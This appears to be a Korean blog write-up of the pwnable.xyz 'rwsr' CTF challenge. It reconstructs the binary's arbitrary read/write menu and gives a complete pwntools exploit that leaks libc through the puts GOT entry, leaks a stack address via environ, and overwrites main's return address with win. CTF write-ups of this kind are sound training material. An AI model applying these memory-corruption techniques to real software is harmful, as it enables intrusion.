[pwnable.xyz] rwsr write up
글 작성자: Universe7202
pwnable.xyz 22번째 rwsr 문제이다.
keyword: environ 변수로 stack 주소 Leak
Analyze
해당 바이너리의 사용자 정의 함수는 아래와 같다.
이번에는 so 파일까지 주워젔다.
ubuntu:~/environment/ctf/pwnable.xyz/22_rwsr $ func challenge
__libc_csu_fini
__libc_csu_init
_fini
_init
_start
handler
main
print_menu
read_ulong
setup
win
gdb로 바이너리를 분석해서 c로 나타내면 아래와 같다.
#include <stdio.h>
void print_menu(){
printf("Menu:\n 1. Read\n 2. Write\n 0. Exit\n> ");
}
int read_ulong(){
// stack clear
read(0, rbp-0x30, 0x20);
return strtoull(rbp-0x30, 0, 0); // unsigned long long
}
int main(){
puts("Read Write Sleep Repeat.");
while(1){
print_menu();
int select = read_ulong(); // rbp-0x14
if(select == 1){
printf("Addr: ");
unsigned long long tmp = read_ulong(); // rbp-0x10
puts(tmp);
}
else if(select == 2){
printf("Addr: ");
unsigned long long tmp = read_ulong(); // rbp-0x10
printf("Value: ");
unsigned long long tmp2 = read_ulong(); // rbp-0x8
*tmp = tmp2;
}
else if(select == 0)
break;
}
}
사용자가 입력한 주소의 값을 출력하거나, 입력한 주소에 값을 Write를 하는 기능이 있다.
하지만 PIE 가 적용되어 있어 공격이 힘들다.
여기서 구할 수 있는 것은 pwntools를 이용해서 특정 함수의 plt 주소를 적어 주면
그 함수의 GOT를 알 수 있다.
이때 libc_base 주소는 다음과 같다.
puts_got - libc_base = puts_offset
libc_base = puts_got - puts_offset
이번 문제는 so 파일이 주워졌다.
so 파일에 environ 변수의 offset 값과 libc_base 을 더하면 environ 변수의 주소를 얻을 수 있다.
이때 environ 변수의 값은 stack 주소 이다.
이에 대한 설명은 아래 주소에 있다.
environ_addr = libc_base + environ_offset
environ 변수의 값은 stack 주소이다.
main 함수의 RET 주소와 Leak 된 주소의 차는 0xf0 만큼 떨어져 있다.
따라서 main 함수의 RET stack 주소를 찾게 되었다.
바이너리의 기능을 이용해서 해당 주소에 win 함수의 주소를 write 하면
프로그램이 끝날 때, win 함수가 실행이 된다.
Payload
from pwn import *
p = remote('svc.pwnable.xyz',30019)
e = ELF("./challenge",checksec=False)
l = ELF("./alpine-libc-2.28.so",checksec=False)
p.sendlineafter("> ", "1")
p.sendlineafter("Addr: ", str(e.got["puts"]))
puts_addr = p.recvuntil("M")
puts_addr = u64(puts_addr[0:len(puts_addr)-2].ljust(8, "\x00"))
libc_base = puts_addr - l.symbols["puts"]
environ_addr = libc_base + l.symbols["environ"]
p.sendlineafter("> " ,"1")
p.sendlineafter("Addr: ", str(environ_addr))
stack_addr = p.recvuntil("M")
stack_addr = u64(stack_addr[:len(stack_addr)-2].ljust(8, "\x00"))
stack_addr_ret = stack_addr - 0xf0
log.info("puts_addr >> "+hex(puts_addr))
log.info("puts_offset >> "+hex(l.symbols["puts"]))
log.info("libc_base >> "+hex(libc_base))
log.info("stack_addr >> "+hex(environ_addr))
log.info("envrion_addr >> "+hex(l.symbols["environ"]))
log.info("stack_addr_ret >> "+ hex(stack_addr_ret))
p.sendlineafter("> ", "2")
p.sendlineafter("Addr: ", str(stack_addr_ret))
p.sendlineafter("Value: ", str(e.symbols["win"]))
p.sendlineafter("> ", "0")
p.interactive()
'🚩CTF' 카테고리의 다른 글
[pwnable.xyz] catalog write up (0) | 2020.02.28 |
---|---|
[pwnable.xyz] message write up (0) | 2020.02.25 |
[pwnable.xyz] bookmark write up (0) | 2020.02.25 |
[pwnable.xyz] uaf write up (0) | 2020.02.21 |
[pwnable.xyz] fspoo write up (0) | 2020.02.21 |
댓글
이 글 공유하기
다른 글
-
[pwnable.xyz] catalog write up
[pwnable.xyz] catalog write up
2020.02.28 -
[pwnable.xyz] message write up
[pwnable.xyz] message write up
2020.02.25 -
[pwnable.xyz] bookmark write up
[pwnable.xyz] bookmark write up
2020.02.25 -
[pwnable.xyz] uaf write up
[pwnable.xyz] uaf write up
2020.02.21